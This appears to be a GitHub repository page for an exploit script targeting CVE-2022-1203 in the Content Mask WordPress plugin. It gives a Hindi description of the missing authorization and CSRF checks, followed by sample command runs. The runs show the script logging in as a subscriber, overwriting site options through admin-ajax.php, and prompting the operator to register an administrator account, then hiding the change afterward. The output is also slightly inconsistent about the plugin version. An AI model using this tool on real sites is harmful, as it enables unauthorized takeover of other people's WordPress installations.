randomrobbiebf/cve-2022-1203Content Mask < 1.8.4 - Subscriber+ मनमाना विकल्प अपडेट
Content Mask < 1.8.4 - Subscriber+ मनमाने विकल्प अद्यतन
Content Mask WordPress प्लगइन 1.8.4.1 से पहले के संस्करण में विभिन्न AJAX क्रियाओं में प्राधिकरण और CSRF जाँच नहीं है, साथ ही यह सुनिश्चित करने के लिए अद्यतन किए जाने वाले विकल्प को मान्य नहीं करता कि वह प्लगइन से संबंधित है। परिणामस्वरूप, कोई भी प्रमाणित उपयोगकर्ता, जैसे सब्सक्राइबर, मनमाने ब्लॉग विकल्पों को संशोधित कर सकता है।
$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register